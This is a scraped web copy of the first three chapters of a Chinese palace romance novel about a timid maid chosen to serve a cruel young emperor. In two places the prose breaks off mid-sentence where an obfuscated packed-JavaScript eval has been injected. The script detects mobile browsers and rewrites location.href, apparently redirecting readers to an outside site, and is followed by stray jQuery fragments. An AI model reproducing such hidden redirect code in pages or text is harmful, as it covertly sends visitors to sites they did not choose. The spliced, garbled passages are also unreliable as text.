《陛下难哄,那不哄了》 1. 第一章 夏日炎热,空气中的风都带着消不散的沉闷,现下已近黄昏,火红的夕阳自天际垂下,落满了紫禁城,一小宫女正端着瑶盘,从朱红宫墙下匆匆走过。 妙珠在尚服局底下的司衣司做事,专负责各宫娘娘们的衣裳。 今日她得了司衣司管事嬷嬷的差遣,跑去寿宁宫为太皇太后娘娘送两身新做的夏装。 现下是傍晚时候,倒没白日那般暑热,怕赶上太皇太后用晚膳的功夫,妙珠不敢耽搁,赶着去了寿宁宫。 好在,等到的时候寿宁宫还不曾用晚膳,只是,今日正不凑巧,皇帝陈怀衡也在寿宁宫中。 寿宁宫的宫女引着妙珠往里头去,一边嘱咐她道:“今陛下也在里头,你进去后可要小心些,莫要惹了陛下不痛快。” 这宫女的叮嘱并非没有缘由。 妙珠不曾亲眼见过皇帝,却也听过关乎他的恐怖事迹。 提起这位年少登基的帝王,他不像是皇帝,倒更像是来索命的阎王爷。 前任帝王不到四十便猝然崩逝,而灵正帝登基的时候不过十岁。一直到今年,已有八年左右。然而,不较于先皇的仁善,新帝陈怀衡性情不堪,手段残忍,光是提起都叫人心生畏惧。 就在这两年中,陈怀衡断断续续做了不少残害身边宫女的事情。身边服侍的人若是说错了什么话惹他不高兴便直接拔舌,不甚打翻了茶水,便直接被他下令砍断了双手......诸如此类事件,数不胜数。 在这样的情况下,身边的宫女压根就不够他磋磨的,死得死,残得残,也正是因此缘故,太皇太后这段时间便想着再选几个宫女送去乾清宫服侍他。 前几天六局之首的尚宫来传话,说是从六局之下设立的二十四司中各选一人,最后挑出八名宫送往乾清宫去。 只是,去服侍的是那阴晴不定的少年帝王,大概谁都是不情愿的。 这事就跟一把刀子一样悬在司衣司上头,谁也不知道最后会是谁被这么倒霉的选走,胆子小些的,吓得饭都吃不下去了。 妙珠来寿宁宫为太皇太后送衣裳,听到陈怀衡也在之后,一时之间惶悚不安,额间都吓出不少冷汗。 来的也实在不是时候了,偏偏撞上了活阎王也在。 她跟在宫女的身后进了里殿,太皇太后和陈怀衡坐在寿宁宫的主座上,两人也不知是在说些什么。 妙珠也不敢打断他们,端着瑶盘在旁边静静候着。 她就的这样在旁边听了那么一会,才依稀听出他们正好是在说着选宫女一事。 陈怀衡的意思是说,他身边不需要什么宫女,就算没人手,还有二十四监的太监服侍,不过,太皇太后却也强硬,说皇帝身边没些宫女跟着也不像话。 寿宁宫中短暂地陷入了一片死寂,氛围一时之间有些怪异。 真说起来,太皇太后和灵正帝的祖孙关系并不怎么感天动地,撑死了也不过“体面”二字。 当初先帝病魔缠身,最后挺不过去,死在一个寒冬夜,年仅十岁的陈怀衡就在这样的情形下被人扶上了龙椅。 少帝的生母,便是如今的孝端太后,她是个性子柔弱的妇人,撑不起什么大场面,这时,太皇太后出了面,念帝王岁小不通人事,便在一旁垂帘听政。 又过了几年,到了皇帝十六岁时,已有了能够乾纲独断的能力,太皇太后才终于从前朝退下,居于幕后。 太皇太后对陈怀衡的教育一直都很上心,在他幼年之时亲自督导,什么四书五经,仁信礼义,全都一个不落。可或许是皇帝实在不服管教,怎么教都始终学不会“仁慈”二字,为人行事反倒是越发偏颇残忍。 他们私底下的关系众人也无从得知,但在面上倒是还能把持住那么几分体面。 两人隐隐陷入了一番对峙,不过,好在陈怀衡倒没对太皇太后发作,末了竟也不曾再说些什么,只是轻笑一声,便起了身告退:“行,既皇祖母执意,那这事麻烦您了。” 说完这话之后,陈怀衡也不曾再留,起身离开了这处。 太皇太后年过五旬,近花甲,头上都已生出了不少的银丝,只是面容保养甚好,若是不说,旁人大约也瞧不出她再过个几年便六旬了。 她看着皇帝离开的背影沉沉地叹出了口气,好一会才终于回过神来。 一旁寿宁宫的宫女上前提醒她道:“娘娘,司衣司的人送夏装来了。” 太皇太后已经没什么心情去看衣服,挥了挥手让人接下了衣服,便打发走了妙珠。 妙珠早就想离开了这处了,对此求之不得,她告退离开,想着赶回司衣司去,却不想方才离开的陈怀衡尚在殿门口还不曾走。 本以为他已离开,被这阎王爷骇了个结实,他那张棱角分明的脸直直撞到了妙珠的眼中。 直到现在,妙珠才终于借着外头的夕阳,看清楚了陈怀衡的相貌。 帝王的身上穿着龙袍,上面刺着金龙腾云驾雾,舞爪张牙,檐下的阴影没有恍惚他的凌厉,那张棱角分明的脸上带着明显的狂狷,骨相瞧着愈深刻清晰,隐在阴影中的帝王面上瞧不出什么明显的情绪,细长的丹凤眼中无情无欲。 他的身后跟了两个宫女,此刻,他正看向其中一人淡声道:“没听见皇祖母说要为朕送新宫女来吗?” 那宫女听到陈怀衡的话,一时不解其意,惶惶看向陈怀衡。 陈怀衡的嘴角勾起了一抹笑,他道:“既然有新的人来,那你留着岂不是多余?” 那宫女闻此,脸色瞬间变得惨白一片。 “莫不如送你去东厂的诏狱吧......” 诏狱。 那是叫人听了都害怕的地方,进去之后,生不如死。 还不待陈怀衡话说完,那个宫女一句话都不曾说,直接撞了一旁的柱子。 好死不死,妙珠就站在旁边。 她从前只听说过皇帝可怕,可这样的场景是从没见过的,她吓懵在了原地,一股寒意从头直灌到脚底。 这样的事情对他陈怀衡来说或许已经司空见惯,看到那宫女撞了柱,面上的表情都不曾变过一下,不过,像是终于注意到了旁边还站着个人,掀起薄薄的眼皮,看向了她。 小宫女看着像是被吓傻了,乌眸圆瞪,檀口微张。 胆小如鼠。 陈怀衡冷嗤一声,转头就离开了这处。 妙珠两腿打颤,都不知道自己是怎么回的司衣司。 从前是听说帝王残暴,可是如今确实亲眼所见,仅仅两句话的功夫,就能逼得宫女撞柱而亡。 若是去了他的身边,怕最后只会落得死路一条。 * 那件事情发生过后,又过了好些时日,很快就到了太皇太后为皇帝择选宫女的日子。 司衣司里头已经选好了人,管事的裴嬷嬷选的人是翠梅。 没被选上的人自都松了口气,妙珠也不例外,谁都不想死,可去了陈怀衡的身边,怕不是断手就是断脚,倒霉一些,命也要跟着一起丧了。 夏日的天亮得极早,卯时才到,太阳就已经早早挂在了明朗晴空之中,不知道是怎地,妙珠自起了身后眉心就一直跳个不停。 二十四司里头需挑出二十四人,在尚宫局门前聚好,到时候再由尚宫亲自引去太皇太后住着的寿宁宫去。眼看时辰差不多了,裴嬷嬷让人去喊翠梅出来,可就在这个时候出了大岔子,翠梅竟说昨个儿夜里吃了不干净的东西,一大早就闹了肚疼,死活下不了床。 裴嬷嬷闻此面色大变。 她就知道翠梅就不是个能安生的性子,自从被选了出去之后,就一直不肯安生,好不容易消停了几日下,本以为是认下来了,却不想是在这里等着她呢! 裴嬷嬷哪里不知道她是在玩些什么把戏,面上怒气难忍,甩了袖子大步往翠梅的屋子里头去,妙珠见此也忙跟了上去。 一进屋子,就见翠梅半死不活躺在床上,面色看着切实不大好。 外头已经聚满了丫鬟,看着里头的热闹。 翠梅见人怒气冲冲往她这来,生怕挨打,只一个劲地往被子里头躲,她一边躲一边哭道:“嬷嬷,不是我不愿意!我这样子去了只怕殿前失仪,那便要被砍了脑袋!您饶我,饶了我吧!” 她哭得尤其可怜,一时间竟还真有些难辨真假。 裴嬷嬷却不吃她这套,上前狠狠扯了她一把,她狠斥她道:“你少来作谎,还敢在我面前做戏!一会尚宫的人就来了,你......你个冤孽,成心挑这功夫来害人的!” 到时候等人来了,叫旁的人撞见他们司衣司的烂糟事,那还了得,若是传到了尚宫的耳中,只怕是要疑心她这个正司的管事不严,竟连个小宫女都给不出去。 思及此,裴嬷嬷气得骂:“你还不起来,我非叫人打死你不可!” 她想扯她起来,却怎么都扯不动她。 裴嬷嬷满头大汗,知道翠梅这条路是行不通了,同她的账往后再算,可是现下,得找个人顶出去先。 她松了手,转头往外边的丫鬟看去,却见她们各个如临大敌,被她的视线扫过去时,都忙缩头缩脑。 裴嬷嬷气极,只恨平日里头一个两个吃得比谁都多,真到了时候没一个人愿意出去安顶事。 她额上都急出了汗,然而这时,一旁的妙珠却开了口:“嬷嬷,不若我去吧。” 裴嬷嬷下意识道:“不可,你这笨手笨脚的,去丢什么脸?!” 妙珠挨了说,甚至还反过来宽慰于她:“没事的,嬷嬷,二十四个选八个,选不上我的。” 妙珠自是害怕的,甚至说她比任何人都要害怕一些。 可是没有办法,裴嬷嬷待她如亲生女儿,她视裴嬷嬷如再生父母,如何能眼睁睁看着她出事。 裴嬷嬷显然还想说些什么,可就在这时,尚宫的人到了司衣司了。 外头来人领人,妙珠见事态急迫,也来不及得到她的应允,末了只留下了一句:“嬷嬷不必担心我,我会回来的。” 说罢,也不再迟疑,转头就跟着人走了。 妙珠跟着人走后,此间陷入了一片古怪的沉寂,裴嬷嬷看着她离开的背影,最后收回了眼,死死地瞪着床上的人。 “来人,把她给我从床上拖下来,我倒要看看是真病了,还是在这给我做戏!” * 卯时快过,辰时将至,妙珠已经和其他的那些宫女聚在了尚宫局前,天上日头越盛,一群人站在院子里头的阴凉处等人。 等了好一会,大约是时辰差不多了,尚宫也终从房里头出来了。 刘尚宫站在廊下,将那二十四名宫女召了过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373746|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她穿着紫色团领窄袖衫,领口饰金圈,下着金带红裙,面色庄肃,不说话时额间的那两管眉毛一直深深倒着,瞧着甚是严厉。 她道:“今日是去寿宁宫见太皇太后的,可莫要丢了六局的脸面。” “是!” 众人即便心中恐惧,不情不愿,可听到尚宫的话之后,还是齐声应道。 眼看时候不早了,刘尚宫便顶着炎日领人往寿宁宫去了。 宫女们的服装大多不轻薄,走了约两炷香的功夫,妙珠的额间早就生出了不少的汗,其余的人也同她一样,都止不住地拭汗。 终到了寿宁宫的门口,刘尚宫瞥了一眼众人,让她们留在这处整饬形容,而后自己先进去同太皇太后传了话。 不多久时,便很快从寿宁宫里头出来,让众人停了动作进去拜见太皇太后。 妙珠的眼睛里头不巧沁了汗,难受得不行,趁着进去最后匆忙揉搓了一把,便也不敢再动。 二十四个人进了寿宁宫中,定然是不能往殿里头进的,尚宫将二十四人分成了三排,一排八人,妙珠运气好,站到了最最角落的地方。 一直待到外头放好了冰鉴,备好了桌椅,太皇太后才终于从殿内移驾,她坐到了那阴凉处,刘尚宫上前,对她道:“娘娘,人已为您挑来了,都是从二十四司里头出来的,手脚准是勤快利落的,您上心挑挑,瞧瞧哪些合眼缘。” 陈怀衡身边的宫女当初都是她亲自过目的,这回的,自然也是。 太皇太后对着刘尚宫说了一句,“费心了。” 而后视线便落在了底下的那些小宫女身上逡巡了起来。 妙珠的眼睛从方才进来时便一直不舒服着,搓了几下非但没有好受,被汗浸润的刺痛反倒更叫难忍,偏偏这时太皇太后的视线稳稳当当地落在她们的身上,她一动也不敢动。 她难受得要命,垂着眼眸强撑着没挤眉弄眼,只盼早些挺过去。 可就在这时,外头却传来了一道通传声。 “恭迎陛下!” 没有想到今日陈怀衡竟还亲自来了。 妙珠悄悄抬眼,朦朦胧胧见到太皇太后往殿门口的方向看去,所有人都盯着外边,盯着即将到来的陈怀衡。 趁着这会没人能注意到的功夫,她又慌忙抬手揉了把眼睛。 那股被汗珠刺痛的感觉总算是消散了一些,没再那么难受。 太皇太后她们的视线全落在陈怀衡的身上,自然是没有注意到妙珠的举动,但从外头进来的陈怀衡将好看到了那个宫女的动作了。 不老实。 不过也只心下暗诽,并没将这事放在眼中。 他走路生风,路过妙珠身侧往檐下去时带起了一阵风,刮在妙珠身上只觉阴恻恻的,像是阴差来索命,冷得她忍不住打了个颤。 十八岁的少年身形已经生得十分挺拔,他方下早朝,听说太皇太后这会正在挑宫女了,便转道来了寿宁宫。 众人见陈怀衡出现,忙又为他添了把椅子来。 陈怀衡同太皇太后见了个礼,便自顾自往椅上坐下去了。 还是太皇太后先开的口,她向陈怀衡问道:“陛下怎么来了?” 上回陈怀衡在寿宁宫的殿门口逼得一个小宫女撞柱而死,这事太皇太后不可能不知道,然而,却也没有任何要去提的意思。 日光照在琉璃金瓦上发出熠熠光彩,陈怀衡同太皇太后坐下檐下的阴影之中,他靠坐在圈椅之中,双臂松散地搭在两侧。 他轻启薄唇,回了太皇太后的话:“听闻皇祖母又要为朕重新选宫女,刚好下了朝过来看看。” 陈怀衡的语气平淡,一旁的人听了却轻笑,状似打趣道:“这是不放心皇祖母。” “皇祖母多心了。” 太皇太后的话不知无心之言又还是故意试探,不过两人也就说了那么两句话,便也不再说下去了。 “这些都是从六局里面选出来,规矩什么的自是比别处学得好的,应当不会再做出些触怒龙颜的事了。”太皇太后冲着那群宫女淡声道,“陛下既亲自来了,你们都抬起头来,叫他好好瞧瞧。” 众人依言抬起了脑袋。 陈怀衡的视线往底下往下望去,下意识往角落那里看去。 一群老实的人里出了个不老实的,那自然是看那个不老实的;反之,一群不老实的人里出了个老实的,那自然也是看那个老实的。 这是人之常情。 小宫女看着年岁不怎么大,那张脸算不得多么国色天香,但也还叫顺眼,她梳着简单的宫女发髻,肤色倒是白,像是天生晒不黑的那种,应是外头阳光毒辣,她的脸上也氤氲了两坨烧红,配上那双圆鼓鼓的眼睛,看着说不出的老实听话。 是个普通得再不能普通的宫女了,一片人里头放眼望去,她瞧着比谁都乖巧。 哦......原来是她啊。 妙珠垂着眼,只觉有道比日光还要灼热的视线落在自己的身上,她悄悄掀起眼皮,却将好和陈怀衡的视线撞到了一处。 她在角落里站着,目光就那样穿过好几个宫女的脑袋和他碰到了一处。 那置身于阴影中的帝王,神色凛冽,恍若玉面罗刹,妙珠辨不出他的情绪,只是被吓了一跳,俄而间收回了自己的视线,不敢再多看下去。 2. 第二章 陈怀衡知她胆小,但也得没想到她胆子能小成这样子,不过是看一眼便如受了惊的兔子一般。 胆子小方才还敢乱动? 太皇太后见陈怀衡视线停留在那群宫女身上,便扭过头去问道:“皇上可看上心仪的了?” 台下众人皆屏息。 都怕自己会倒霉。 终于,陈怀衡开口了,他嘴角轻微地勾起了一抹弧度,然而这个表情非但不叫他看着和善,反倒平添了几分森然。 他道:“那便最末一排的人吧,刚好八人。” 谁叫她乱动的,就当是长记性来了。 太皇太后似没想到他这般随意,微微蹙起眉:“便这般定了” 陈怀衡一面靠在圈椅上把玩着手上的玉扳指,一面反问她:“不然呢?” 选宫女又不是选妃子,大手一挥,砸到哪个就是哪个了,难不成还需要写出一长篇策论来解释缘由不成? 闲得慌。 太皇太后抿了抿唇,不过最后终究是没再说什么了。 现下皇帝脾性越发阴晴不定,他既愿意重新受下这些宫女,那在这些事上暂且顺着他吧。 上位者随便做出的决定,足以压死人,被选上的人谁都不知道到时候能不能好好活着。 被他选中的宫女大多惶惑不安,妙珠听到后只觉眼前一黑,甚至都怀疑是不是自己听错了。 然而太皇太后的话却彻底压垮了妙珠,她说:“那便听皇上的,最后那一排的宫女留下,其余的人便回去吧。” 怎么会这样呢? 妙珠不知道人怎么就能倒霉成这个样子呢,她被太阳晒得头昏,强撑着没晕倒。 这些宫女们大多还要送去调.教一番,才会送到陈怀衡的身边。是以,他给自己挑选完了宫女便没继续在这里待下去了,起身离开了这里。 另外没被选中的宫女很快便被刘尚宫领了回去,只余下妙珠和其余七人在这里。 她在这里待得浑浑噩噩,大约待了一个时辰,听太皇太后身边的老嬷嬷嘱咐了些什么,便让她们几个先回去自己的司里头收拾东西,等明日去寻刘尚宫学规矩。 妙珠赶紧往司衣司的方向回,往后若是去了皇帝身边,怕也只是九死一生。眼中竟不知是从何时开始蓄上了泪水,想起以往宫中传言,自己去了乾清宫后,那手啊脚啊,眼珠子什么的都不知道还能不能留住。 忒倒霉了一些,本她还想着躲在角落里头就能万事大吉了,可这皇上更随便了一些,怎么就能直接就要了最后一排呢? 她已经顾不得仪态,小跑着往司衣司回。 她害怕,一害怕就想要躲在裴嬷嬷的身后,这些年她已经习惯了她的庇护了。 司衣司的门一直开着,裴嬷嬷就站在院子里头的回廊下等着妙珠,她叫人出去打听过了,其他几个司里头的宫女都已经回来了,可等了快一个时辰也见不得妙珠,她很快便猜出来,她这是叫选上了。 裴嬷嬷头疼至极,就连午膳都用不下去,一直站在廊下等着人回来。 直到妙珠的身影出现在了院门之中,往院子里头奔来。 一路小跑回来,她的额上出了不少的汗,眼眶红红的,瞧着是哭过了。 裴嬷嬷马上迎上去,抓着她的手问道:“真是选上了?” 妙珠红着眼点头。 “嬷嬷,我......” 我是不是要活不成了。 然而妙珠的话还不曾说完,就被裴嬷嬷拉去了房中。 这里人多眼杂的,说些什么被旁人听去便不好了。 待去了屋子里头之后,妙珠再也忍不住道:“嬷嬷,我这实在是有些不走运了,往角落里头站着了,可陛下竟随手选了最后一排的人。” 裴嬷嬷听后脸上的神情也十分难看,怕什么来什么,二十四人挑八个,这也要叫她被选上,也实在是倒霉。 事已至此,也没办法了,裴嬷嬷瞧她满脑门都是汗珠,为她拂去那黏在额间的湿发,又拿了扇子替她扇风,她宽慰着她:“既选上了,便也不能再退了。妙珠,别怕,没事的啊。陛下不是什么罗刹,你好好的,别叫他寻了错处,他总也不会无缘无故的打杀了你......” 可这话,别说安慰妙珠了,便是裴嬷嬷自己听了心里头也没多好受。 裴嬷嬷说着说着,便哽咽了起来,仿佛成了皇帝的婢女,如上断头台一般。 见裴嬷嬷红了眼,妙珠反倒是不敢再哭了,她擦了擦眼睛,仰头看着她道:“嬷嬷说得不错,我不怕的,有嬷嬷在,我不怕的。” 两人心知肚明,去了乾清宫后,她这个司衣根本就护不住她,可这话说出来,妙珠心里头总归是好受一些,外头有人念着她,她就算是真死了,那也能有人替她埋尸。 只是对不起嬷嬷,本来应当是她为她养老送终才是的。 这白发人送黑发人的话,妙珠是断不敢再说的,说出来,嬷嬷只怕是要更伤心了。 话到最后,两两相望,皆哽咽无言,她们都还不曾用过午膳,妙珠的肚子适时发出了响,裴嬷嬷便唤人送了饭来。 气氛仍旧低迷,妙珠明日就要离开了,不想让裴嬷嬷多虑,吃饭时也不停地宽宥她。 裴嬷嬷看向她的眼神,仍旧是带着一份淡淡的哀伤。 小姑娘十五年岁,一张脸嫩得跟块豆腐似的,眸光清澈,不见杂念,这些年,她跟着自己也没少吃苦,性子也一直都软趴趴的,旁人踩她,她也一直受着,单纯得就跟缺了条筋似的。 可怜,苦命的孩子。 从小到大好日子不曾过过几天,现如今,还被指派到了皇帝的身边去。 裴嬷嬷也算是从带着妙珠长大的了,从八岁那年带着她进宫,现下已经过去七年了,一晃眼她都十五岁了。 其实翠梅、妙珠还有裴嬷嬷皆是同乡,三人都是从南地的一个小村子上来的宫里。只是在妙珠和翠梅都只是垂髫年纪之时,裴嬷嬷就已经在宫里头了。 后来妙珠八岁那年,家里头出了事,唯一的亲人死光了,无人照顾于她。裴嬷嬷刚好从宫里头回村子里头省亲,见她可怜,便带她回了宫,而翠梅则是因为爹娘不愿意养了,便趁着那次,强拖着裴嬷嬷带她一起入宫做宫女。 就这样,嬷嬷带着妙珠和翠梅一起回了宫。 按理来说,妙珠和翠梅都是一个村子里头出来的人,感情更要好一些才是,可现在,谁都知道两个人不大对付,不......准确的来说,是翠梅一直欺压着妙珠。 在妙珠十岁那年,翠梅竟将妙珠的身世抖落了出去。 而自此之后,便再也没有人愿意和妙珠亲近了。 他们都说她的母亲不干净,是人尽可欺的妓子,还说她的母亲是个傻子,谁给她一颗糖,她就能跟谁睡觉,她的丈夫也嫌弃她,跑掉啦。 妙珠没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373747|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹,还有个傻子娘。 所以妙珠就理所应当成了司衣司里头,最低贱的宫女了。 除了裴嬷嬷,谁都喜欢去欺负她。 想起过去的事,裴嬷嬷就又狠生了一番气出来:“我太恨了,当初便不该带她入宫来!净会给我惹事,今日若非是她,倒也连累不了你去!” 妙珠见嬷嬷气狠了,也不敢再说下去,事情已经成了这样,再多说一些也只是徒惹了她生气。 裴嬷嬷见她光吃饭不吃菜,又给她夹了几块菜,忽又想起一事,便问道:“方才怎在寿宁宫待了这般久?” 妙珠如实道:“是太皇太后留我们嘱咐了些话,还问了我们几个家世......” 说到这里,妙珠顿了顿,想起方才寿宁宫的情形。 太皇太后身边的老嬷嬷问她,家里头的父母是做些什么的,又有几个兄弟姐妹,妙珠说自己家里头的人死光了......众人看向她的眼神,让她如芒刺背。 裴嬷嬷觉得古怪:“问这些做什么?” 妙珠道:“我也不晓得,大概是想看身家是否清白。” 裴嬷嬷忙问她:“那他们可有为这事刁难你?” 妙珠的家世不好,而自她家里头的事情被同个村子的翠梅捅落出来后,再没人愿意同她玩了。大抵是嫌她母亲不干净,便觉着她也不干净。人心中的成见是座大山,裴嬷嬷也没办法,旁的人不愿意和妙珠做朋友,她总也不能强逼着别人和她玩,那样只会叫她的处境更糟糕。 妙珠听到裴嬷嬷的话后竟咬着筷子笑了笑,那张脸带着几分憨:“我只同那老嬷嬷说家里头死了人,谁家里头没死过人,他们刁难我做些什么。” 只不过是死的亲人多了一些,那又怎么了嘛。 妙珠又道:“只是后来有三个宫女被那老嬷嬷传过去单独说了些话,也不知是说了些什么,她们样貌生得不错,规矩也好,或许是娘娘想让她们做些体己活,好照顾陛下。” 这样也挺好。 离陛下越远,犯错的机会就越少,手脚健全的几率便也越大。 谁知裴嬷嬷听到这话之后,面色竟由担忧转为凝重。 她不知道是想到了什么,竟沉默了许久,她放下了手上的筷子,神色认真地看向了妙珠。 “妙珠,嬷嬷接下来同你说的话,你得一直放在心上,牢牢记着。” 妙珠被裴嬷嬷的动作弄得莫名,可也跟着放下了筷子,面上的表情也逐渐染上了肃色。 她认真地听着嬷嬷的话。 裴嬷嬷用力握着了她的手,她叮嘱她道:“妙珠,你看啊,你听嬷嬷的话,嬷嬷便疼惜你,到时候,你去了乾清宫后,要好好听陛下的话,陛下他也会疼惜你的。” 妙珠想起方才的帝王,心中生惧:“陛下像是来索命的阎王爷。” “陛下不是阎王啊。”裴嬷嬷抓着她的手紧了几分,“陛下是神仙,是九五之尊,是主子万岁爷,是普天下最厉害的人。” “妙珠,陛下是你的天啊!” “你得记着,好好跟着陛下,只认陛下,他会庇护你的。” 妙珠不明白裴嬷嬷为什么突如其来说了这些,但嬷嬷不会害她的,嬷嬷是世上待她最好的人了,而前路渺茫,她不知道怎么走,也只得将嬷嬷同她说的话牢牢记在心中。 妙珠啊妙珠。 陛下是你的天。 你得一直记着。 3. 第三章 裴嬷嬷也没甚心情再用膳了,安抚完了妙珠之后,便道有事出门,留下她一人在屋子里头吃饭。 从屋子里头出来后,裴嬷嬷平了平心绪,便出了司衣司,前往尚宫局寻人。 叫人进去给刘尚宫传了个话,她便很快被带了过去。 裴嬷嬷朝她行了个端正的礼:“见过尚宫大人。” 两人年岁相仿,刘尚宫比她大上几岁,可她在宫中资历深,出身也高,裴司衣按礼也得高呼她大人。 刘尚宫正在处理公务,见人来了也没晾着,起身迎她坐下,甚至还亲自给她倒了盏茶。 裴嬷嬷忙接下,谦卑道:“辛苦大人了。” “都是六局的人,不用讲这些虚礼。” 本朝设“六局一司”,共分六局,每局底下又分四司,另外设一宫正司检查宫廷女纪,这制度是沿袭前朝的,一直到如今。只是后来,宦官制度兴起,司礼监的出现使得六局的地位大不如前。 司礼监不仅总管内廷宦官事务,还在更高层次上掌着宫廷的大体运作,而其中的掌印太监甚至还掌着朝廷外务的批红权。 大家管的都是差不多的事,太监们威风了,女官们便被挫了锐气。甚至在以往几朝,跟在帝王身边贴身伺候的都是太监,而得志的也始终是些宦官。 有司礼监这样的外患在前,对于六局之首的刘尚宫来说,六局里头的人是一大家人。 女子为官本就不易,再磋磨来磋磨去,还有什么活头呢。 刘尚宫问她:“今日来,可是为了你那个同乡的小姑娘来的?” 刘尚宫对裴嬷嬷是有印象的,她为人本分,做事也踏实利落,当初还是她亲自把裴嬷嬷从副司提到正司去的。至于妙珠,那两人从一个村子里头一块来的,刘尚宫自然也能猜到两人的干系。 裴嬷嬷没想到她猜到了,也没藏着掖着,直接道:“正是为了她。” 她开诚布公同刘尚宫道:“大人,我同她是一个村子里头的,这孩子娘去得早,她生来苦命,许是打娘胎起就缺根筋,整个人蠢笨得很,到时候您多担待些,教导的时候该使劲就使劲,也别惯她,只是,可千万别叫她往太皇太后跟前去,到时候万一触了她霉头,那便不好了。” 刘尚宫听到这话却笑了,她揶她道:“奇了,不怕陛下,竟怕娘娘。” 裴嬷嬷叫这话一噎,心虚地端起茶盏抿了起来,试图用杯盏遮住自己的神情。 刘尚宫见此也不再玩笑了,正了神色。 “我明白你的意思,古往今来,一人二主的都没什么好下场。放心吧,你既亲自为这小姑娘求我一回,我帮你挡了其他的人便是。” 太皇太后和灵正帝的关系微妙至极,今日还特地找了三个人去说些私房话,像妙珠那样的便看不出其中症结,可她们两个也算宫中老人了,这点事情还是看得清的。 只怕是,有人要在皇帝身边插眼线。 希望在尚宫局学规矩的这几日,妙珠不要被太皇太后的人找上,否则她那呆头呆脑的,也不知该怎么办了,两头跑,难做人,到时候收了钱财怕也没命花。 其余的那些宫女尚还有些家人,说句难听的话,收了恩惠,死了也不亏,可妙珠呢?伶仃一人,浑身上下就这么一条命了啊。 刘尚宫欣赏裴嬷嬷这人,这点小事帮便帮了,事实上,今日在寿宁宫排位置的时候,她也有意地把人往角落里塞,只可惜时运不济,还是被选上了。 * 夜色渐笼,天慢慢就黑透了。 妙珠从寿宁宫回来后就不见了翠梅的身影,悄悄听人墙角才知道翠梅后来被裴嬷嬷打了二十板子,现下一直卧在床上。 当初翠梅是和她一起来的皇宫,她八岁,翠梅只有九岁,那时候两人的关系不曾这般恶劣,甚至还时时腻在一起,吃饭、洗澡什么的,都是要一同去的,可是不知道是怎么的,翠梅忽然就像是变了一个人似的,开始慢慢疏远了她,冷落了她,不仅如此,她还散播了她们老家的事出去,以至于后来她落入那样尴尬的境地。 说不生气,那是假的,即便是个泥巴捏出来的性子,那也是该生气的。 不过她也不将自己被选走一事怪罪到翠梅头上,她只怪她当初抖落出自己的阴私。 她不再去琢磨翠梅的事,今日是她在司衣司待的最后一日了。 今日已经和嬷嬷在一起哭过了,也不想再惹她伤心,待净过身后便早早躺去了床上。妙珠没有朋友,即便是明日就要离开这个待了好些年的地方,她也不知该去寻谁道别。 她心里头压着事情,躺了许久才终于睡着。 待到翌日天亮堂的时候,她去寻裴嬷嬷道了最后的别,便提着自己轻薄的行囊往尚宫局去了。 昨日被选中的六个宫女一齐见过了刘尚宫,她们被领去安置了行囊后,便被带去学规矩。时间紧迫,大概只有五日就要被送去乾清宫。 妙珠不敢懈怠,打起十二分精神去听学。 皇上应当是个极难伺候的人,她生怕自己做错了什么,就要受了他的罚。 五日过去,就在最后一日的傍晚,太皇太后身边的老嬷嬷又来了一趟,这回她又多叫了个宫女去,加上上次的,拢共有四个,那老嬷嬷的视线在妙珠的身上扫视,可不知刘尚宫又凑在她的耳边说了些什么,最后她还是收回了视线。 这几天,妙珠也不是没有收获,先前她家里头的事情也只有司衣司的人知晓,外头的人是不知道的,其余的五个宫女里头,有个比妙珠还小上两岁的姑娘,唤荣桃,个子比她还矮上半个脑袋,性情直率,是个小话痨。 她们都是从一个布政使司里头出来的,算是老乡,妙珠自然而然就和荣桃走到了一处。 这是妙珠第一回碰到了愿意和她走在一起的朋友。 她们平素交好,这几日一同吃饭,一同住在两人一间的屋子里头。 她们时常还会一起说话到半夜。 妙珠头一次发现,去乾清宫竟也有好处。 在尚宫局的日子很快就过去,翌日天亮,刘尚宫便带着他们往乾清宫的方向去。 众人心情都有几分说不出的忐忑,毕竟从前乾清宫发生的事情她们都听说过了,只怕一个不小心就会落得和那些宫女一样的下场。 刘尚宫带她们几个到了地方,殿内便出来个年岁稍长的宫女,来的时候她已经同她们先行说过了,这是原先服侍陛下的宫女,从前的那批宫女,现下还剩着两个活着的。 这宫女名卿云,是皇帝身边的掌事宫女,她身量挺拔,看着已有二十岁了,她生着一双长眼,眼上吊着长长的柳叶眉,面容端庄,嘴角从始至终挂着一道温柔的笑,一袭淡雅宫装穿在身上极没有攻击性。 卿云算是陈怀衡身边得力的宫女,能从他的手上活下来,身上定也有过人之处,光是这番气度,便和她们这八个新来的不一样。 刘尚宫拉着卿云去了一旁说些小话,她掩着嘴对卿云道:“卿云姑娘,这里头有些姑娘手脚蠢笨,到时候怕怠慢了陛下,你使唤她们做些杂使活计就成。” 卿云问她:“都是二十四司里头出来的,是哪些姑娘手脚蠢笨。” 刘尚宫抿唇笑了笑,答道:“蠢得挂相,姑娘瞧也能瞧出来的。” 说完这话,刘尚宫便也不再继续留在这处了。 卿云从她手上接下了她们这些人,亲自送她走出几步路后,回来后见过几人,又问过了几人的名姓。 刘尚宫方才说人蠢得挂相...... 她的视线不自觉落在了妙珠的身上。 